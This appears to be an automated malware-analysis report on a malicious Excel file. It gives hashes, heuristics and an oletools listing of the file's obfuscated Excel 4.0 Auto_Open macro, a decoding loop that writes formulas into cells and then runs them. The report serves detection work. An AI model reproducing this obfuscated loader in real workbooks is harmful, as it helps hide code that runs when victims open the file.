Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d63d569fc023c785…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:51 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 468fe9b52e5dccc03fe0062719ee1e2a SHA-1: 9f8aab3d210ad0d880d3f1937965cc3927fc0d3e SHA-256: d63d569fc023c785ac83a0acd4da64c937433efe32f8d5bb0c28a8bc2dc22f87
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands. The macro sheet itself is heavily obfuscated, suggesting an attempt to hide its malicious functionality.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6435 bytes
SHA-256: 11a8ca598700389eecf85966494c55932c62844832ffb4a60e7a66549e1e2621
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JZEZo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E176 
' 0018     22 LABEL : Cell Value, String Constant - cVRORcm len=0 
' 0018     25 LABEL : Cell Value, String Constant - FwFlOdTqKq len=0 
' 0018     21 LABEL : Cell Value, String Constant - GKIXrT len=0 
' 0018     27 LABEL : Cell Value, String Constant - IjbBDOtASEWu len=0 
' 0018     21 LABEL : Cell Value, String Constant - InBSIx len=0 
' 0018     26 LABEL : Cell Value, String Constant - jeMtoODcmfW len=0 
' 0018     22 LABEL : Cell Value, String Constant - jNQZZYk len=0 
' 0018     23 LABEL : Cell Value, String Constant - kTnXkcvl len=0 
' 0018     20 LABEL : Cell Value, String Constant - mvLlb len=0 
' 0018     26 LABEL : Cell Value, String Constant - nToGxvpfwdn len=0 
' 0018     21 LABEL : Cell Value, String Constant - PkcIxZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - pXYwQsYxd len=0 
' 0018     27 LABEL : Cell Value, String Constant - ssTmXvviJQJj len=0 
' 0018     24 LABEL : Cell Value, String Constant - TVcwfebbi len=0 
' 0018     20 LABEL : Cell Value, String Constant - udvPc len=0 
' 0018     22 LABEL : Cell Value, String Constant - XIPkkhe len=0 
' 0018     23 LABEL : Cell Value, String Constant - YIXtDbsV len=0 
' 0018     22 LABEL : Cell Value, String Constant - YpckYwq len=0 
' 0018     22 LABEL : Cell Value, String Constant - yYLIqil len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZaktiYTYwmaT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JZEZo,E85,"SET.NAME("IjbBDOtASEWu",VALUE("0"))",""
'  JZEZo,E88,"SET.NAME("YpckYwq",IjbBDOtASEWu)",""
'  JZEZo,E91,"SET.NAME("YIXtDbsV",IjbBDOtASEWu)",""
'  JZEZo,E96,"SET.NAME("udvPc",COUNTA(InBSIx))",""
'  JZEZo,E100,"SET.NAME("GKIXrT",COUNTA(FwFlOdTqKq))",""
'  JZEZo,E104,[],""
'  JZEZo,E107,"SET.NAME("mvLlb","")",""
'  JZEZo,E112,"YpckYwq",""
'  JZEZo,E114,"SET.NAME("ZaktiYTYwmaT",HLOOKUP("*",InBSIx,YpckYwq,FALSE))",""
'  JZEZo,E117,"XIPkkhe",""
'  JZEZo,E121,"SET.NAME("pXYwQsYxd",IjbBDOtASEWu)",""
'  JZEZo,E125,[],""
'  JZEZo,E129,"pXYwQsYxd",""
'  JZEZo,E134,"jeMtoODcmfW",""
'  JZEZo,E139,"kTnXkcvl",""
'  JZEZo,E141,"TVcwfebbi",""
'  JZEZo,E146,"SET.NAME("cVRORcm",VALUE(HLOOKUP("*",FwFlOdTqKq,TVcwfebbi,FALSE)))",""
'  JZEZo,E148,"PkcIxZ",""
'  JZEZo,E151,"mvLlb",""
'  JZEZo,E153,"YIXtDbsV",""
'  JZEZo,E156,NEXT(),""
'  JZEZo,E161,"ssTmXvviJQJj",""
'  JZEZo,E163,"SET.NAME("f",INT(T(FORMULA(T(mvLlb)&"",""&T(ssTmXvviJQJj)))))",""
'  JZEZo,E167,"yYLIqil",""
'  JZEZo,E169,NEXT(),""
'  JZEZo,E174,RETURN(),""
'  JZEZo,E200,"SET.NAME("jNQZZYk",E85)",""
'  JZEZo,E205,"InBSIx",""
'  JZEZo,E208,"SET.NAME("FwFlOdTqKq",R52C15)",""
'  JZEZo,E210,"SET.NAME("yYLIqil",219)",""
'  JZEZo,E213,"SET.NAME("nToGxvpfwdn",5)",""
'  JZEZo,E218,jNQZZYk(),""
'  JZEZo,E219,HALT(),""